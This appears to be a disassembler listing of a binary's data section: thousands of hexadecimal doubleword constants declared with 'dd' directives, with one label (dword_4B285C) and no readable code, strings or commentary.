		dd 759E9BCAh, 0A19600B1h, 0B684B986h, 3AF2299Ch, 0AE14B005h
		dd 0D180C847h, 9476541Ch, 0D3C04FA8h, 5A5CFAB0h, 90F35706h
		dd 0F2905673h, 0B0AEF067h, 0BF151582h, 541494D3h, 101220ADh
		dd 55FC836Dh, 912406A0h, 561D7C00h, 0BB7A8A52h,	0AC5424FCh
		dd 23CA0526h, 0E0AB8016h, 5C027CF5h, 1F02B9Eh, 40EC521Ah
		dd 0F34B37F2h, 52A43041h, 402C92AFh, 0D73C1800h, 905CC238h
		dd 14A1BA7Eh, 20208EF6h, 4FB5A4F0h, 160450B2h, 1451037h
		dd 3EB74DBEh, 7935CFF0h, 1C180028h, 33388CC9h, 0AD0083E3h
		dd 0BC9431BEh, 67BD8A5Ah, 809949A7h, 0D25CF327h, 0F5CB2107h
		dd 3EB576Bh, 8454B693h,	419E58A8h, 8E266A91h, 48189D13h
		dd 46216318h, 984F136Dh, 52F090EAh, 0F53EFEADh,	0B71C0095h
		dd 55566CC3h, 0ACD07E7h, 741ACB5Dh, 505CB070h, 12489C06h
		dd 3340EE2Ah, 2D49FC0Fh, 0EF6F8990h, 7090934Bh,	0F084870h
		dd 714AC8D7h, 54D82B80h, 0B80185DCh, 0B4BD9BD6h, 212E1BCFh
		dd 0D0830B2Ch, 3D00DEE1h, 5492DDD0h, 6AF294h, 0F6311974h
		dd 0F150B614h, 8430726Fh, 60943A57h, 95797D86h,	738D8C80h
		dd 0E9E45A4Fh, 47606919h, 64399229h, 27DF1B00h,	48AD75FAh
		dd 4D155F1Fh, 0C54380B9h, 6C85BA69h, 0C8090071h, 0AC92DA2h
		dd 1D008463h, 4DEB1016h, 60FC83CAh, 0BBCE594Ch,	0D0078524h
		dd 5680A5B2h, 0BDE477D0h, 0ABF303A2h, 5CB84048h, 7BD89063h
		dd 0AC6DCD0h, 22B0041h,	1E521A6Ah, 0AD1D5BCFh, 0ACCFD1FAh
		dd 3D2E8093h, 9D5C69DBh, 781F6016h, 0FFEF6EAh, 15124BEEh
		dd 0FCAE0CD0h, 3DE83133h, 8F07E0A3h, 308E9BC3h,	1A59F1ADh
		dd 0E73B2400h, 0EC68BC6Ch, 644F3ABFh, 43E3788Eh, 0C19A00FCh
		dd 0D114F044h, 67266500h, 0B8EF0825h, 7F75EBh, 1A749113h
		dd 0DB1F30B6h, 7E2F8601h, 0A5F87124h, 56477700h, 89EDCB00h
		dd 4ECA7DC5h, 1FFA10h, 0AC79D68Bh, 11FFEB58h, 80B8257Fh
		dd 9A1A3C00h, 424CE50h,	37F800E8h, 0F3A738CBh, 3C001054h
		dd 2E4065E5h, 1CAE0C7Dh, 40428877h, 1309D434h, 2B01484Ah
		dd 3E26BA2Dh, 0A8F7F678h, 7003A339h, 0B74A00B8h, 0E14B5D76h
		dd 7700907Ch, 595761EEh, 0EDB2F9h, 0C9E6C4F3h, 7C671ABFh
		dd 28045EF9h, 485142Eh,	1C0983FFh, 1E066F6h, 0E700BDFAh
		dd 0D5C2C357h, 4EC1D4h,	74F10BBAh, 0DA0FDB09h, 0D01170Ch
		dd 84F629B0h, 0F0F5E310h, 0DE0E447Dh, 844ABA44h, 42F46F22h
		dd 3C4228F3h, 0E83FBE42h, 22841FC4h, 0B242480Ch, 28F2F711h
		dd 0ED22142Bh, 11664252h, 3721F611h, 90404C08h,	0FF19847Ah
		dd 0AB424348h, 216E24A6h, 0EF12E87Ch, 4546485h,	48D12214h
		dd 217B4453h, 0D6115810h, 0EDF111D0h, 0E7108712h, 832A89A1h
		dd 10859B51h, 62989829h, 0E626007Bh, 4EE006C4h,	12007F37h
		dd 0C84B92B5h, 3653E36h, 0B79D992Ah, 0D787E63Fh, 8057506Eh
		dd 0B31EC896h, 7F8001BEh, 9A5163B7h, 9FFB00D7h,	0B4C6AB2Bh
		dd 4001723Ah, 28EC86D3h, 0E7CC73C2h, 18AD00D0h,	0D4ABFC24h
		dd 200BB65h, 0B7C3F12Dh, 0F83D66h, 0BFCC79DBh, 411465Bh
		dd 1089D630h, 3AF996h, 63B0B993h, 0DF0AB16Bh, 8295642Eh
		dd 5BC3301Eh, 0D0261394h, 3FC53EB2h, 113F6677h,	8658A1A4h
		dd 8F50215h, 0DF675B00h, 0EB28616Fh, 0C2E039B7h, 875A6863h
		dd 4CE8BCC0h, 0EE03D47Dh, 0F60C2B1Ah, 0B120A780h, 0E6CC4B8Bh
		dd 0BFCD014Dh, 496296D5h, 1F119C08h, 0B4FBB940h, 7A40E4Ah
		dd 0E34B7068h, 0C3639006h, 0AE24459Ah, 0F380A009h, 0B86FF9CEh
		dd 94EF50F7h, 0A0FCC1h,	0BA2EFC35h, 6AC3D838h, 793D9600h
		dd 0D928B790h, 0EECF3BF3h, 0D7730B8Eh, 0E45F0700h, 40006AA5h
		dd 71982DD5h, 795DFBC0h, 79CE0A69h, 38B8AE96h, 392B0483h
		dd 101FB199h, 59073F5Ah, 0BF20DD48h, 6024F652h,	9905689Ch
		dd 9E71092Bh, 6258A500h, 188C511h, 49AA0FCCh, 0BD80AC16h
		dd 0A8511E37h, 6100337Dh, 0A9DFD71Ah, 0C9E5Ah, 547C28BEh
		dd 0C0A44B05h, 0B9B30600h, 197EA064h, 0CC120F85h, 8B009618h
		dd 381EBE39h, 148094A2h, 0D2882D66h, 0C200CA7Dh, 2C719562h
		dd 7A306Dh, 91BCC8A8h, 0A0AB0EF7h, 0C91416F2h, 78AC7DBAh
		dd 0A500F075h, 0F76FF4C8h, 50515Ah, 0A3BA43E2h,	1F21973Bh
		dd 9A4BC700h, 0F4BDE1ADh, 24930106h, 0C2F26C53h, 0AFCC83Bh
		dd 763F2702h, 40722D55h, 7D06ED74h, 94BB0033h, 8C0C0FB6h
		dd 0B40008F9h, 0E37248AEh, 0E8636668h, 0DA5B00DCh, 0F48E654Ah
		dd 620097D2h, 32A9C478h, 404B7421h, 2404D37Bh, 0F3813741h
		dd 0ADD5D00h, 740202C5h, 7C5AA40Dh, 0D6604176h,	0EDB024h
		dd 492EA69Dh, 0BB301C9Ah, 5D40D00h, 55EB7CECh, 0C2291D4Dh
		dd 211240DAh, 0D899CD32h, 7615B48h, 68EC437Eh, 0B9B5AE00h
		dd 379C0045h, 461F4A1Dh, 67EE5777h, 15CCA700h, 914BE362h
		dd 447F006Ah, 0C3512E11h, 74904E03h, 9D04EB72h,	0DAAD979Fh
		dd 8BD9F782h, 67700D4h,	0A51EEDh, 1DC627B2h, 0E86ADE90h
		dd 7C9ECA00h, 0D057858Fh
		dd 0F1A60007h, 32AB02C0h, 0CE00E9ECh, 7EBEEF9Eh, 0BD21B61h
		dd 21E3C5C2h, 0FF83800h, 711449D1h, 17D0C320h, 8A040B99h
		dd 4AC01EFAh, 0E6EB52DCh, 6715Eh, 874A23FEh, 0CA5F8644h
		dd 7F33BB00h, 0B2CB129Ch, 14E60042h, 55262DC7h,	0C248A74Ah
		dd 0CA1277C7h, 80009109h, 7E602449h, 0DB9303C1h, 0AB30851Bh
		dd 50CAA7C0h, 0A01FD700h, 0C65306F7h, 345EEFBh,	7C436BC0h
		dd 2C1C57EFh, 9080B295h, 9F2ADFB4h, 147D0069h, 0E54E11BFh
		dd 0B3EC59F8h, 6FD06C13h, 72F8849h, 119CF091h, 38662492h
		dd 0E2350496h, 0D638D1CCh, 59BEC025h, 6B771400h, 5B1B6974h
		dd 67A003A7h, 0D2621D83h, 0F0BCDCC1h, 0FA001327h, 0EE9626C5h
		dd 3BDE0A34h, 8C80EFADh, 468F8DE8h, 0E3008414h,	0FC63ECBEh
		dd 0F078B0h, 0CE7D59A0h, 61F8D93Ah, 4112C100h, 179BDA27h
		dd 0F22C000Fh, 79D04EDDh, 640FA625h, 0C02145DEh, 3FD9B744h
		dd 35C906Fh, 857E19AEh,	0F7D0B60Dh, 0AF00309Eh,	13A46A53h
		dd 3E69C3CBh, 4300276Fh, 1BAA470Eh, 0F000A96Bh,	7D1EE939h
		dd 0D82950h, 89957935h,	641D0872h, 0C9441960h, 26E186A4h
		dd 7A0F014h, 207546AAh,	249F0B93h, 0E3165500h, 11D77ACBh
		dd 388C3CE0h, 492047B1h, 55DF40Eh, 0D65F891Fh, 2769B3CBh
		dd 0ABA04658h, 0A0D76630h, 9936BCh, 8A37F11Dh, 148713AAh
		dd 77E326h, 0AE92B083h,	817DC0B2h, 72C302EEh, 0B41944FFh
		dd 0BAB9E480h, 0CBF04536h, 350F0700h, 62303DDBh, 955A0017h
		dd 9DA5A03Bh, 0A800D6E8h, 9655D080h, 51200Ah, 2C6A2EBCh
		dd 0CDDF0C4h, 7EE9CF00h, 10B6642h, 0FEC507E1h, 20B35158h
		dd 91CF9AD9h, 5F8CC607h, 8F904624h, 2B3579h, 720F584Bh
		dd 83FD0D73h, 85D80701h, 3998CB25h, 3BBFD9F8h, 0FF815E7Ah
		dd 0C9CD1F2Ah, 80806227h, 0AA4A9E7Bh, 735609EFh, 1E8ED525h
		dd 1924F180h, 2002D1F5h, 3F26632Dh, 0D1004770h,	1A10C12h
		dd 0B4C8B983h, 0EAB715A9h, 0D348E048h, 0C085524h, 961AE880h
		dd 0D102CDh, 0CB7E014Bh, 0A6FBE75Bh, 0B9CAF400h, 7F0C4F3Bh
		dd 0CD870019h, 0D1797C8Eh, 90014EC5h, 6BE1F3A1h, 0FD30589Ch
		dd 35C426F1h, 56840084h, 4DB1657h, 26969338h, 0F70FC02Fh
		dd 0EC4DC00Ah, 2DFE22h,	0CBED8073h, 3A6EA793h, 18BD1900h
		dd 5CD61F53h, 0DDE400A9h, 0CBCC8EB6h, 1E071D9Eh, 8D9B9D24h
		dd 0CF282ED0h, 0DF21076Ch, 30C2E3E2h, 0BC3DAD86h, 0AF93D100h
		dd 9F527896h, 0BEDD000Ch, 2D4B91C4h, 0A83DF981h, 55ED9EA5h
		dd 0B6B7D780h, 0B0DA1F62h, 8CE40094h, 80ACC108h, 0CE00737Ah
		dd 0E81EDC0Dh, 0F4D74F56h, 43AA123Ch, 0FD800030h, 0CF958131h
		dd 0F8EE4700h, 0EF6776A9h, 0AFFE0398h, 7A2A16CAh, 599481D5h
		dd 852F692h, 52CDC807h,	78C5B4AFh, 5B79E0C0h, 3C870FD2h
		dd 65416762h, 70CF7307h, 6E009318h, 14EC023Dh, 245F353Eh
		dd 7062C7h, 3EDCB06h, 0CC002045h, 0AFF58CFBh, 5A263Bh
		dd 0EF418724h, 4A66A89Ch, 0B9005C70h, 354DDB1Eh, 0C09D519Bh
		dd 0E34FDD31h, 0D70060B4h, 96E401Ch, 0F6C12D4Eh, 39210159h
		dd 841DDCABh, 3BDC6044h, 819E5F39h, 0E82C5EFAh,	6C207E02h
		dd 420500F2h, 0B40170F9h, 4D5C636Ah, 5FCE0068h,	96473E97h
		dd 69B00E4h, 0EBB7288h,	1D0FDF38h, 20BCA5D8h, 473D6D61h
		dd 0FA9438D9h, 1004F189h, 0DECF6C03h, 79D407ECh, 0A5464820h
		dd 0E5F01D59h, 31280E4h, 5FFDB8F8h, 0A7CA2C0Fh,	6493A376h
		dd 7F7A8054h, 0DA263B0Ah, 1D82CF89h, 4F625400h,	3A5C2D15h
		dd 0D30E00B0h, 41FE5F4h, 0A5E1008Fh, 0A8CDB15Ch, 0C37FDD3Ah
		dd 0E4038490h, 0FFDA81AFh, 8610DBBEh, 0C7660F58h, 0F58653FCh
		dd 0CD00510Dh, 0F6F73674h, 0A7147F3h, 0A9960488h, 0AB5405E8h
		dd 3D9F80CAh, 290FF577h, 0A55D4EFh, 0F600CA1Eh,	0BCEE3B1Ah
		dd 946600DAh, 71FC2FFDh, 2C0022E9h, 958C6EA0h, 0D38279h
		dd 0D1399E0Ah, 2356874Ch, 4A517500h, 4E73E936h,	5DA30049h
		dd 0C15F531Bh, 2000BB19h, 3B8BB055h, 0EBC5758Ch, 86AFE0h
		dd 743E6482h, 715DE021h, 15338900h, 70E435FDh, 52C30EC0h
		dd 7F2628Eh, 0F0B80894h, 71D915Dh, 79832F00h, 0E2CB7A63h
		dd 0DF5301DBh, 0B37F3768h, 654C7042h, 6B3E1C00h, 0CA9F7B2Ch
		dd 0FBE3004Ah, 574B72F7h, 36241E92h, 0F500947Dh, 0ACF90B3Eh
		dd 874A43h, 0E549E7F0h,	0D1456CDh, 73E38672h, 90AE2D26h
		dd 628A2600h, 0F15AD42h, 663BA983h, 1BFAF9E0h, 0EE082CCDh
		dd 1F563CE9h, 0C2F4003Dh, 3262E91h, 22929E07h, 8D3082A2h
		dd 723FFD6Bh, 0F2BC3933h, 4C8ADE00h, 1015CA52h,	51B56103h
		dd 0C84F89D2h, 9463BFh,	0E6E32D08h, 0E187E5F7h,	1F02B50h
		dd 34A22C00h, 5CBF8F58h, 887203h, 51B8855Ah, 60C20796h
		dd 2DF40500h, 0A03F2161h, 0EF3C0A38h, 0B0DFF2h,	0ED45E858h
		dd 0B700CC60h, 182A92FFh, 931BC6h, 193EA38Ah, 0F2C40EE7h
		dd 0F6297200h, 7B7AEECCh, 5634012Ah, 44AA949Bh,	7E07E483h
		dd 7CC5ED10h, 9AF1A500h, 3E423925h, 483E8176h, 1F3A00C4h
		dd 0ED99ECE6h, 91860012h, 0DEB6A25Bh, 3B094488h, 907E4761h
		dd 0AA9560h, 2DCB66AEh,	926D4426h, 3BC1006h, 1D68649Ch
		dd 0C169335Bh, 68465938h, 7C04128h, 4BFFE0F0h, 4E0037E4h
		dd 1A58A515h, 0C31467h,	0BE7EA8AAh, 98E1ABEBh, 121DBB0Ah
		dd 8A39D5A3h, 0B0468149h, 2F4B033Fh, 0B08EAEB0h, 786D8B22h
		dd 0B92B4CD9h, 29D6AF18h, 482C20B5h, 0A60F4451h, 88E7A00Eh
		dd 9DD87FEh, 4B736864h,	0C1676820h, 94B20ECCh, 0CE6A5803h
		dd 0A80864BBh, 26F3EC1Dh, 0ED4AB16h, 0BC60CBF6h, 9BD9F501h
		dd 0CA0E120Bh, 97B0A04Ch, 734783Dh, 0A8431407h,	0BDC7A13Ch
		dd 2060CAACh, 3FF0BA8Dh, 8FE7A901h, 202FD1F7h, 136264E8h
		dd 0FCB506h, 0AC97F528h, 0A938556Dh, 0E206F792h, 0FD33A4D4h
		dd 0EC089820h, 1FABB8D8h, 8078BB16h, 0D7388E2Ah, 920BC71Ah
		dd 803E8314h, 823D3939h, 4EE93059h, 938BA9C0h, 9658D00Bh
		dd 56CC0031h, 165B439h,	98F3F104h, 0EC957E77h, 1000E737h
		dd 4C8174D6h, 52EC5Dh, 577770D1h, 0DC0732E2h, 66C25E00h
		dd 0ACCDD495h, 3B700D5h, 574E5812h, 19C0BCD9h, 8C993B56h
		dd 0DE73E5h, 9BC9E9A0h,	1FE8BADh, 12596803h, 0F0BD1Ch
		dd 4E74D31h, 60733609h,	16C99500h, 0EE2564DFh, 42A900C1h
		dd 51C648A1h, 0E1006966h, 0E5311270h, 4CEEB0BCh, 35070E47h
		dd 855885DDh, 0B99C80FBh, 6904210Fh, 0F884F38Ch, 2EFA6C80h
		dd 2B430047h, 0C4224218h, 39005B16h, 0EB9349BBh, 0DD89ECh
		dd 591CF77Ch, 0BF429DD6h, 0D065A200h, 94B07252h, 0AC260275h
		dd 3AB3DD1Ch, 92D380D7h, 3D542E90h, 40004A0Fh, 3E855E1h
		dd 0CD00167Eh, 0F25EFC91h, 50BABBh, 1EF64026h, 82ADEDDEh
		dd 81BD5D3Bh, 0D67BCEC8h, 7870E312h, 7445F2C6h,	3C5C004Ch
		dd 0B8D5D2EBh, 7B0CF5CBh, 10D3509Dh, 35160CAAh,	8820D794h
		dd 64711203h, 0B842B169h, 7E5DB87Dh, 54B43972h,	0F0409680h
		dd 90A331Fh, 0E51A4500h, 1B102C79h, 762D008Bh, 33EC548Fh
		dd 7D01C60Fh, 0DB77ED18h, 7ACCF996h, 340E0026h,	699F30E3h
		dd 0A0002908h, 0A736F168h, 1510121h, 7955C0A4h,	0FCB5FF53h
		dd 2D1E16FAh, 0B080C6CCh, 11F8B4F9h, 689A2C5Dh,	0D710076h
		dd 96B8C8FDh, 943CD72Eh, 804A8E09h, 40D57469h, 77A700AEh
		dd 8B921B07h, 1100B60Bh
		dd 4E611DE9h, 0E6E6136Bh, 88DC007Ah, 9DE47570h,	85074323h
		dd 7FA36740h, 16137C50h, 584800DDh, 61AAD842h, 0BC601C3Eh
		dd 2EE5670h, 0A99D0099h, 4868AB7h, 44768FE6h, 0C71CB100h
		dd 8CFC359Eh, 8EC600E9h, 0F6BEDB48h, 7E096305h,	0D8441441h
		dd 0D0FC000Fh, 0FA69BFE2h, 5100E57Bh, 151D73B0h, 389DF3Bh
		dd 4C9C2687h, 0BBB8C0ACh, 0D000CBB1h, 1F6FAE61h, 5D0A1Eh
		dd 0EA735705h, 11447E75h, 82BB2900h, 0EDE454EFh, 3F3CBCAFh
		dd 4228A11Fh, 341C4099h, 0F3009470h, 9DE055CAh,	0E2F532Dh
		dd 78D77C7h, 0C47C25C2h, 0DF2E9060h, 3658CC00h,	0ADFC5009h
		dd 3098CEh, 7494B65Ch, 6547EAEh, 800BFE2Dh, 0F0A1F518h
		dd 0A0B21FB1h, 6CF980D4h, 7CBF7524h, 45DD0D00h,	0ACD1366Fh
		dd 37F7681h, 53A6F1C5h,	60C8BF24h, 0C21E8375h, 0D100CCD5h
		dd 0B7FAE135h, 7A213B6Ch, 0F7806D3Bh, 7CA8DA5Bh, 0B54A2AEFh
		dd 5381D800h, 1C143970h, 30D95B4h, 7B3D212Fh, 7463B012h
		dd 8E60450Bh, 2B0E40ECh, 0B86E689Dh, 332D0F2Ch,	35A03F07h
		dd 0F7F85BD2h, 4FB28A00h, 367ACC7Dh, 1E8F48Dh, 76D0D728h
		dd 30FD0573h, 4100779Ah, 0F1303A7Eh, 3B28B78h, 87649BAAh
		dd 0F8C8B9E7h, 73054CCEh, 25567118h, 0BD0553B8h, 0E072A520h
		dd 7903B920h, 0CB770AB7h, 0D0FAF025h, 0A76C0180h, 73C0F817h
		dd 0E480F2DBh, 317907F0h, 8B184900h, 0B3D1BAA3h, 321C0002h
		dd 148F87C7h, 0B400D35Bh, 0D60DCE16h, 4FF218h, 0B2077A3Ch
		dd 85274B92h, 0BB230A01h, 3E6DDE2Ah, 54D7470h, 0FBCC6FF2h
		dd 0A470838Fh, 0C41857E9h, 4CB01646h, 34AE3Ah, 8E449B4Eh
		dd 0F31E633h, 0B1E81AF8h, 394EE20h, 0B9738B69h,	0D5A30C0h
		dd 0E002FFA4h, 0A5F700E2h, 54424960h, 8E187277h, 5728750Ch
		dd 6DB9007Ch, 69F2AFB5h, 3212F791h, 2840782Bh, 39215A9Eh
		dd 73CC0099h, 542A850Bh, 8F00D7D6h, 7BEE4F46h, 0E00EA3h
		dd 9016C28Ah, 0BDA025EFh, 699A541Dh, 0E140B69Eh, 0BA0211ECh
		dd 341A5C9Ch, 45F6C707h, 0CDEE90CBh, 13605AFFh,	0BFE8FB90h
		dd 0E5FC0093h, 681E259Dh, 5DEC2856h, 70D97101h,	78B77F62h
		dd 3FA70420h, 9985C23Eh, 9003FCh, 9DCD3C8Dh, 71002EB7h
		dd 7CF47A30h, 151D9FE7h, 0BCA56608h, 400ADF10h,	0B21B72F0h
		dd 0F8807453h, 26310CC1h, 0EC03811h, 0EDD7C47h,	502FE794h
		dd 24FA3440h, 3F0F44F9h, 60F74F86h, 0CEB32A82h,	5840070h
		dd 0C4C7601Dh, 0FD02DEE0h, 0EF3D25A1h, 43E61C3h, 0B8FF0h
		dd 0CE505F74h, 17E1ADFAh, 47855200h, 0A43377EEh, 31EE2Fh
		dd 45E412E6h, 0B5653F42h, 0E695F39h, 4073194Eh,	8B29FD21h
		dd 0DC6400D1h, 8724C38Dh, 6A1C1E1Bh, 0AB80B6C2h, 519D6134h
		dd 0CA1C0F47h, 88C14EF2h, 69020C1Dh, 20DB042Ch,	0F30048F5h
		dd 665A4C05h, 719E3412h, 20186A0Fh, 7210D427h, 0A376003Dh
		dd 84124F50h, 100885Dh,	6FF87F7Dh, 48DFDD1Bh, 0CE001C45h
		dd 0AD249DF9h, 9701E096h, 0F84F10BFh, 3C380385h, 0C70F4A00h
		dd 0E6AF2422h, 0AFBC500h, 89199049h, 311D00BEh,	58D578CAh
		dd 2E242635h, 33811CE9h, 1E3F690Bh, 0A8008868h,	37AB7292h
		dd 53029C5Bh, 0DF344ED6h, 9D5BC0A5h, 0FE470079h, 0AFF198CAh
		dd 600763C4h, 0E51C9C3h, 19869020h, 99BF00ADh, 0D3573A2h
		dd 0E000A612h, 4CAB56B8h, 1E318069h, 80743B4Ah,	86B69B8Fh
		dd 28F1A560h, 3BC4208Ch, 0C5001E44h, 8286E892h,	3100130Bh
		dd 0E732D51Ah, 4C9C03BBh, 5B00FC9Dh, 2957E522h,	0AD006AC3h
		dd 0FBFC8636h, 1D958AD8h, 80286FDEh, 1AB25565h,	0D605DAB3h
		dd 76D3E831h, 29A7DEC0h, 18040315h, 0D0F8DFCEh,	5D464816h
		dd 0E4BD2C40h, 0B836BEh, 0ECBCCB8Ch, 14495F7h, 540EBB98h
		dd 0A08F3A90h, 693B06B6h, 0A32F00BCh, 0FA205BA1h, 4BB02EA9h
		dd 83CF2838h, 4243B627h, 1394A8F5h, 0A4809508h,	489B2615h
		dd 0AB2DF9E2h, 82408F6Ah, 0E089CB7Dh, 390D5DCDh, 17808BC5h
		dd 69626EAh, 0C100DF57h, 0FC0EC313h, 6B3A30h, 0D13E7834h
		dd 5BA60611h, 3C0C4Dh, 260F01B8h, 3FC96E55h, 0A700804Fh
		dd 849F98D0h, 0D2481A97h, 72F30000h, 0BF15C516h, 88250028h
		dd 12A4CB3Bh, 6009DF8h,	707205F9h, 58AC938h, 0FDDAA514h
		dd 0C0B3A7h, 66423774h,	9856F9Dh, 0D2D46991h, 84BA7D83h
		dd 0A0899128h, 9AE2C50Ah, 9300B4AAh, 8B47BDDFh,	0B3FE49h
		dd 0E767C3FDh, 0C83C5F13h, 0DC020E78h, 7F4D5ED0h, 80405852h
		dd 9635868Eh, 0A89B0564h, 0EADC4048h, 133654CFh, 0FCC40F1Ch
		dd 6A012C24h, 6121448Ch, 4869F4h, 0BBFF339Dh, 0EFCEE6EEh
		dd 6C620F03h, 0C1B599h,	63AB67A8h, 0C28F4661h, 79D16530h
		dd 16496A1h, 0EFA62F99h, 46D0F955h, 0E901B820h,	0D5A35A09h
		dd 0DDE4C801h, 49E73D51h, 0A0FE1F92h, 0D4FCBEF4h, 0AE18ED00h
		dd 416E17D9h, 0DF49075Ah, 61EE6B95h, 2B01DD85h,	0DAAF5842h
		dd 0D5D9805Ch, 7390A71Eh, 0EA7E1F0Ah, 0CB1070Fh, 0C88DA09Bh
		dd 7A98B89Ch, 0BFD90201h, 0DA8D629h, 8272D0h, 0AA63C832h
		dd 47E00568h, 41866A24h, 0C3223000h, 87E83Fh, 71BFCA16h
		dd 0C87DDF9Ch, 3DDB6413h, 4AC0E81Dh, 0C5E8D2E9h, 8F7008Ch
		dd 63B7694Eh, 0BB00C131h, 95DED24h, 48292FAFh, 0E0097016h
		dd 30A0113Fh, 737BF4B7h, 0FCAE3C2Ah, 0BD0C160Eh, 0DD93E5E9h
		dd 985E94C3h, 517FDBh, 0C935A785h, 0A63C7099h, 3A7D1003h
		dd 0E5252EF7h, 68F4D040h, 49462366h, 0D8004018h, 6DCBE62Bh
		dd 0B0035F9h, 0D374A926h, 0B8602DB2h, 5C1D00CEh, 0D6DB441h
		dd 0D10083A5h, 5A45F3ADh, 15B64D7h, 3580DE7Fh, 0C0E1C248h
		dd 0C900154Dh, 53105C93h, 0FBE3F5h, 65E05118h, 0D704A9DCh
		dd 0D9B24100h, 271266BEh, 3A5818A3h, 692E829Ah,	8F006BFCh
		dd 3BE40508h, 7DA4DA83h, 0A8E300A0h, 0C6D20ADCh, 98389E15h
		dd 1178806Bh, 172F50FBh, 1E8D3B7Fh, 73EDEB00h, 34772B9Eh
		dd 0BE1BAAA0h, 0F4C66351h, 5A008F1Fh, 0B2737D57h, 39F7E4CEh
		dd 3580CB30h, 0D015FFADh, 28002A1Dh, 3608A4C3h,	0FDAAB2Eh
		dd 0A60BB157h, 1F66FFE0h, 0D40064C4h, 5EA767EAh, 0BF7806h
		dd 1D818DAEh, 7EAF5807h, 51256B00h, 6B0C387h, 0F71300B7h
		dd 0F28D488Ah, 0C41F80E1h, 40C05162h, 0D14E8F6Dh, 0CE0A00FEh
		dd 0DB6E466Bh, 75006448h, 956CDE26h, 1DF81D10h,	62284Fh
		dd 56CC2F5Ch, 170105DBh, 0B38ADD2Ah, 6C88437h, 0CF1A00FBh
		dd 0DFA01B51h, 7B00E1FFh, 0C795AE79h, 17DDE493h, 46C450Fh
		dd 0C175ACDAh, 0EF628667h, 0F72BC4F0h, 26FB2200h, 0B29ECE99h
		dd 4AE92888h, 8C5C00D8h, 0BA0EED5Eh, 5D00A346h,	827D5A81h
		dd 8ECC42h, 4A456E44h, 87E64052h, 0F1AFD900h, 0AC7AFCC9h
		dd 51EA012Ah, 0F326E469h, 4123600Dh, 1D9C11C1h,	0DF20DE4Ch
		dd 431B123Ch, 480D0E3Ah, 232F000h, 0AE02CB41h, 8B016206h
		dd 1A007DCDh, 807243D2h, 0F3A9DF0Bh, 1E740249h,	888440ECh
		dd 4209009Bh, 0A27C1C90h, 4BF824C6h, 8631BD1Fh,	367761C0h
		dd 97F6BAh, 5316F4FDh, 7D8BDAE1h, 4B10B24h, 20EF050Fh
		dd 0B7BB7317h, 0EC6C0747h, 1810E2h, 0E1AB61AFh,	8330DF7Bh
		dd 0C53BC81Bh, 0FAE600BFh, 6B511CEEh, 0E17A1E81h, 0A08C030Ch
		dd 28F148h, 8AC2A137h, 851635CDh, 7AB40500h, 59A6AD20h
		dd 0F2985Eh, 0BD8EA42Ch, 53F439A8h, 0B335AE00h,	5660BCCDh
		dd 5B7300A6h, 0C6B9CE5Dh
dword_4B285C	dd 571C2393h, 0EC80789Fh, 164AC43Eh, 0C817604Fh, 9A70265Dh
		dd 0FFCCD414h, 20AC0EE8h, 9FC844Dh, 0EE818485h,	0B4E8ED98h
		dd 0A98F6078h, 9D2E6167h, 7F726400h, 0B0FBF7A1h, 4C6315F3h
		dd 0AC1CF46Dh, 0EE0EBAD0h, 256A3AA4h, 0DAC0009Ch, 0BA81757Dh
		dd 801A043Dh, 0DDCFAB46h, 75736BDEh, 63652813h,	3F3888ACh
		dd 0B9E500B8h, 0C0FE8C59h, 52005E34h, 7A33CE82h, 0E8814390h
		dd 31E66307h, 0A7F7A246h, 72E1F0F1h, 5B24B12Bh,	0C0808C6Bh
		dd 0B93ACC95h, 328418EAh, 0B2F74E63h, 3148BC60h, 49116943h
		dd 210198E1h, 65AED0ECh, 3E61827Eh, 80BA2D45h, 0FD781DB0h
		dd 0A49800BDh, 617D33C4h, 0A30092AFh, 31C6F4D7h, 5B7CD6Ah
		dd 0E8BEBC9Bh, 96CC00BAh, 0EB0353D6h, 99C427FEh, 15018A79h
		dd 503FC0F7h, 217F0FA4h, 0AC730800h, 0E55B2334h, 0CB3C06E8h
		dd 90977149h, 0B02C1304h, 2C83E9DDh, 0E26900BDh, 60587DA4h
		dd 427B67E5h, 0D0843A00h, 0B7C0A09Ch, 2987017Ah, 487F0A74h
		dd 0EF03F078h, 56386930h, 51D4ADh, 0CA965E5Bh, 0EC920CBEh
		dd 0DC09147Eh, 85C79905h, 54C0795Ch, 1C56A26Eh,	4EB8C2D3h
		dd 0A9A0EE42h, 7E2AE22h, 26045A3Bh, 0BD01AB29h,	0DB39F2CFh
		dd 79266F8h, 6A12056Ch,	0AF6E02Dh, 0FE009184h, 0CC5DF468h
		dd 1E09789Eh, 83E4B6B4h, 0B9CBDF8Fh, 3BA57801h,	34FA3C56h
		dd 15172C20h, 0D05E82D8h, 0C31E3500h, 0F2090290h, 7892AFF6h
		dd 7602BC7Eh, 39CAE93Ah, 0C77C6081h, 0DFA92C4Ah, 222D0098h
		dd 77A19E56h, 0C0100A00h, 0CE689D1Fh, 3C850097h, 5C65F2B3h
		dd 0F500BA6Ah, 985E7DB5h, 0EE6A380h, 0F32DC67Bh, 630AEA80h
		dd 9400CD5Bh, 66BDED89h, 98C761D3h, 0DAB00005h,	438EE286h
		dd 0D002308h, 0FB6378BCh, 0B8926Eh, 7CC09301h, 45D7957Dh
		dd 0A30A1100h, 80AF6A2Dh, 0C6410074h, 1EF8E0FCh, 3A033482h
		dd 21A6F0D9h, 0F0DA8393h, 78506438h, 1ED57345h,	0C0A8177Dh
		dd 0E548FD10h, 5D02C7C3h, 97B7DDEFh, 7BCE60D2h,	1D34E4DFh
		dd 0DEF7EAh, 0E8329E9Ah, 540052E7h, 0B3C7BAC4h,	0D97815h
		dd 0EE0537CCh, 47FAF9D7h, 6C0BE800h, 0CB34A0B9h, 4806001Ah
		dd 0DBE48D51h, 6100B29Ch, 0EBD4D64Fh, 351872h, 917B884Eh
		dd 94DA81Bh, 0A3BF339h,	0F4C73CDCh, 38731C03h, 0CCDFE88Fh
		dd 0C9860095h, 1214980Eh, 2709E102h, 80D1E7D4h,	53C04B68h
		dd 546D1D26h, 0C4330036h, 16378B73h, 8EACF8A0h,	4B55E00h
		dd 0EF986CC8h, 0B109061h, 0D1E9C3E1h, 91039018h, 0B85148h
		dd 9E680CF0h, 4E3A79h, 5EEE4366h, 0AE24C037h, 5B96BA00h
		dd 443EC40Ah, 783D0291h, 8D740785h, 0ED6798C8h,	0E04CF513h
		dd 0DCF2A800h, 235BBBh,	0A834DA9Ch, 5967B9C3h, 868E7005h
		dd 2080B460h, 392AAF40h, 0FC497106h, 0DB9E4300h, 0C4F70CFAh
		dd 0AE141C03h, 0FC2850h, 60AD0858h, 11898194h, 0B300549Ah
